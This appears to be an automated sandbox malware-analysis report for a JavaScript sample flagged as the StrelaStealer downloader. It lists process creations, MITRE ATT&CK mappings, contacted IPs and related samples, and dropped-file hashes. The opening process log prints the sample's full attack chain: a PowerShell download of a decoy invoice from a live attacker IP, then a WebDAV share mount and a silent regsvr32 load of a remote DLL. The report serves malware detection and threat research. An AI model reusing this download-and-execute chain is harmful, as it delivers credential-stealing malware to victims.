Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
179861427815317256.js	18%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.2058888/E	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/X	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sce-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/X	net.exe, 00000007.00000002.2256954547.000002B0BF08E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2309610602.000001ECDFC70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3464420115.000001ECDFE00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.2058888/E	net.exe, 00000007.00000002.2256954547.000002B0BF070000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2256954547.000002B0BF08E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2256954547.000002B0BF0BB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2256954547.000002B0BF070000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce-	net.exe, 00000007.00000002.2256954547.000002B0BF070000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589860
Start date and time:	2025-01-13 09:03:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	179861427815317256.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@32/47@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 2.22.242.123, 2.22.242.11, 2.23.197.184, 184.28.90.27, 95.101.148.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 2.23.242.162, 2.19.126.149, 2.19.126.143, 13.107.246.45, 20.12.23.50, 50.16.47.176
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:04:09	API Interceptor	31x Sleep call for process: powershell.exe modified
03:04:16	API Interceptor	1x Sleep call for process: net.exe modified
03:04:21	API Interceptor	2x Sleep call for process: svchost.exe modified
03:04:30	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	281388015101323984.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	305861283730376077.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	155442583088718889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14444181562539231561.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	199.232.214.172
	PCB - Lyell Highway Upgrades Queenstown to Strahan - March 2021.XLSM	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://satelite.nv-ec.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://support.te-wt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.flndmy.er-xu.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://www.support.ue-vt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://support.wt-nx.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	byte.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.ppc.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726309447027217
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0H:9JZj5MiKNnNhoxuK
MD5:	DB8E120F7515CC399D0AED0AE165242A
SHA1:	5CCA50EC60443C1FDBAC85EA5A1EE729F9966F1D
SHA-256:	88018E1E5F2608FC662E93F95DBCDD4CD64515015982FDD696B33D6921DA1DA5
SHA-512:	9324D20952503408D0E0820CEEFB1DB18116E6D490DB67727B5E515ECCB098626C5069DEC2D1FCEBB64F29123B169810CB4449DB5E95B7AD8BC05113BB57CB53
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x4c827bd9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555650430523396
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	9CD1F1B8B208346E61CD31B235304BF3
SHA1:	9447808F9E759B42949C6F5DB2981883E34CB85F
SHA-256:	C311EF58182029304CB21B6C21CE7DFE7C1CE1BC4B5BB3040A7500BFEFE63291
SHA-512:	9F54173A3C201335A1B193DB99698C3C0292C4C9872BD108E3CB17C1D3B53ED5385B12C8326F5813ADE807987647562FF175188C06695D2AF1CB9C5D0E1C0B20
Malicious:	false
Preview:	L.{.... .......7.......X\...;...{......................0.e......!...{?......}%.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................U......}e..........................}E..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08013126535528572
Encrypted:	false
SSDEEP:	3:cSml/llKYeEiUrfNaAPaU1lq5GXalluxmO+l/SNxOf:cSml/llKzqNDPaUIgmOH
MD5:	D35EE8AA596429CD6E92574689CFDFE4
SHA1:	1D2EFBDF242D06DF0DBA5C0D7253D285C8CC5858
SHA-256:	2BDF27A2FE95E00DA0334E8FAD742DE8F0A1EB0A995317A54175F8AC7F1A2CA9
SHA-512:	18B1A93BC99D57D7EBC8CB63334B4EA7AB0B84C8182664DBC729F23EDCF2993453F3B96C9944F42148372D272DD7F0079CDD3DDE08EE00A33F2195694653684B
Malicious:	false
Preview:	.........................................;...{.......}E..!...{?..........!...{?..!...{?..g...!...{?..........................}E.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.213313088524485
Encrypted:	false
SSDEEP:	6:iOnVJULcDc9+q2PN72nKuAl9OmbnIFUtdVJULcWcZJZmwzVJULcWcZ9VkwON72nC:7VaLc44vVaHAahFUtXaLcbJ/5aLcbD5G
MD5:	9C0F244B1F61932091B8F39639EE8A71
SHA1:	DC28B03112E52EAC7E616A51C46929ECAF36FAF5
SHA-256:	00699DDEC5ACDCC37490484CF11F7238310319634B6A9B35E111587685824459
SHA-512:	49F3C6D0BE201C1B3D77FD7E6AB57FCDB9534182D26DA770248B3AD13D726A84190EF7E1C4DA6A79C0A803403D26F495A42E2BC577767A6E059A3389ECDCCEB6
Malicious:	false
Preview:	2025/01/13-03:04:21.927 1968 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-03:04:21.931 1968 Recovering log #3.2025/01/13-03:04:21.931 1968 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.213313088524485
Encrypted:	false
SSDEEP:	6:iOnVJULcDc9+q2PN72nKuAl9OmbnIFUtdVJULcWcZJZmwzVJULcWcZ9VkwON72nC:7VaLc44vVaHAahFUtXaLcbJ/5aLcbD5G
MD5:	9C0F244B1F61932091B8F39639EE8A71
SHA1:	DC28B03112E52EAC7E616A51C46929ECAF36FAF5
SHA-256:	00699DDEC5ACDCC37490484CF11F7238310319634B6A9B35E111587685824459
SHA-512:	49F3C6D0BE201C1B3D77FD7E6AB57FCDB9534182D26DA770248B3AD13D726A84190EF7E1C4DA6A79C0A803403D26F495A42E2BC577767A6E059A3389ECDCCEB6
Malicious:	false
Preview:	2025/01/13-03:04:21.927 1968 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-03:04:21.931 1968 Recovering log #3.2025/01/13-03:04:21.931 1968 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.148013191492532
Encrypted:	false
SSDEEP:	6:iOnVJULcSbUAq2PN72nKuAl9Ombzo2jMGIFUtdVJULcShvZZmwzVJULcSOkwON7V:7VaLc/AvVaHAa8uFUtXaLcWvZ/5aLcJi
MD5:	3E6611B87B39E3ED0083C1E621CFB294
SHA1:	4C23B328535DA651B2994737040A6DB067696ACC
SHA-256:	A670149D6B6820CEA00FEF2C20B85832BBB8802A5FCC42EBF11B1F2DE61AAF99
SHA-512:	129A2FE7427BB1991E18A3B7C8BBAFE7FB009B36CA6ED00F3A66692C43300A27C42ABC91DB864DA82F7DD3C48AAC60C2145F5F68FDA49E782C1C41A3EF66D686
Malicious:	false
Preview:	2025/01/13-03:04:21.974 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-03:04:21.975 1c10 Recovering log #3.2025/01/13-03:04:21.976 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.148013191492532
Encrypted:	false
SSDEEP:	6:iOnVJULcSbUAq2PN72nKuAl9Ombzo2jMGIFUtdVJULcShvZZmwzVJULcSOkwON7V:7VaLc/AvVaHAa8uFUtXaLcWvZ/5aLcJi
MD5:	3E6611B87B39E3ED0083C1E621CFB294
SHA1:	4C23B328535DA651B2994737040A6DB067696ACC
SHA-256:	A670149D6B6820CEA00FEF2C20B85832BBB8802A5FCC42EBF11B1F2DE61AAF99
SHA-512:	129A2FE7427BB1991E18A3B7C8BBAFE7FB009B36CA6ED00F3A66692C43300A27C42ABC91DB864DA82F7DD3C48AAC60C2145F5F68FDA49E782C1C41A3EF66D686
Malicious:	false
Preview:	2025/01/13-03:04:21.974 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-03:04:21.975 1c10 Recovering log #3.2025/01/13-03:04:21.976 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6a6acc.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ed604902-df4f-4624-a097-bff938fd9c78.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961476514989703
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq8d7SsBdOg2HEY2caq3QYiubcP7E4TX:Y2sRdsZdbdMHxJ3QYhbA7n7
MD5:	8F4F9CCC47B2762E2C2FBA8B9ACD41A5
SHA1:	540A07F073AD67059958E7E864C8CD593790D4EB
SHA-256:	3A4C63E864A7D35B6EF6CF86FEF9519C038BDC0B6402F86B2A605E3C7AD65D6E
SHA-512:	2379B2F3DBD0D064955A40887774EC8FBBF7D6D72B4C591F93083A8BB3DA9BB8793E65D6EAF664CF38DF3C0D49A18FF7CF5356F27B0C4CC237CFB3D257620058
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381315470222258","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125301},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ef6f44e0-64bd-4237-9a9c-d9e203e68192.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5941
Entropy (8bit):	5.260367791533599
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7gn6nH:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzht
MD5:	59DB3EADF8DA9E8220407938ECD91847
SHA1:	561F6503D7D1B848A368D57F8AE580A69120E565
SHA-256:	8E3AD98A3ED3D2B11F4295E461C7B280B4F317424CEF99C03D01A16982277BDE
SHA-512:	AEB52DB6C3EDFE944BAEEB105CAEE909590B1DE3E62EE785B8F24701AF3896A56D5AC2207C1E46A28AA30A7BE37EDA10C5A71B6D056B4FA58EFFA57B027AE29E
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.076569683092106
Encrypted:	false
SSDEEP:	6:iOnVJWLlIq2PN72nKuAl9OmbzNMxIFUtdVJWL3hZmwzVJWLlUvzkwON72nKuAl9c:7VnvVaHAa8jFUtX8h/5UUvz5OaHAa84J
MD5:	F63046AF9AE7D71EC88A01D05C99755F
SHA1:	EB9DAFA0F4D283BCEC00CFDC93A08ACF98E62B14
SHA-256:	98FE6701A30E568B35D5E76D7AEECBF74CD10FE501E98F9665D90BB7B45D2E56
SHA-512:	121A95C8F5D3DB5861071CE21E64B3F3DA3ABF3A8C1464ADD2816E83EB472F6CEF27C6C4F84FD13C7659E555EE4FF9A61D6A62624CB1911CD53FA60B37C6454F
Malicious:	false
